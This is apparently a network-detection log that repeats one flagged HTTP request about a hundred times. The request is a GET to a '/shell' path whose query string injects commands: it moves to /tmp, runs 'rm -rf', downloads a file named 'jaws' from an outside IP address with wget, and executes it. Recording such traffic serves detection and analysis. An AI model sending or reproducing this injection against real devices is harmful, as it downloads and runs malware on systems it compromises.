Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
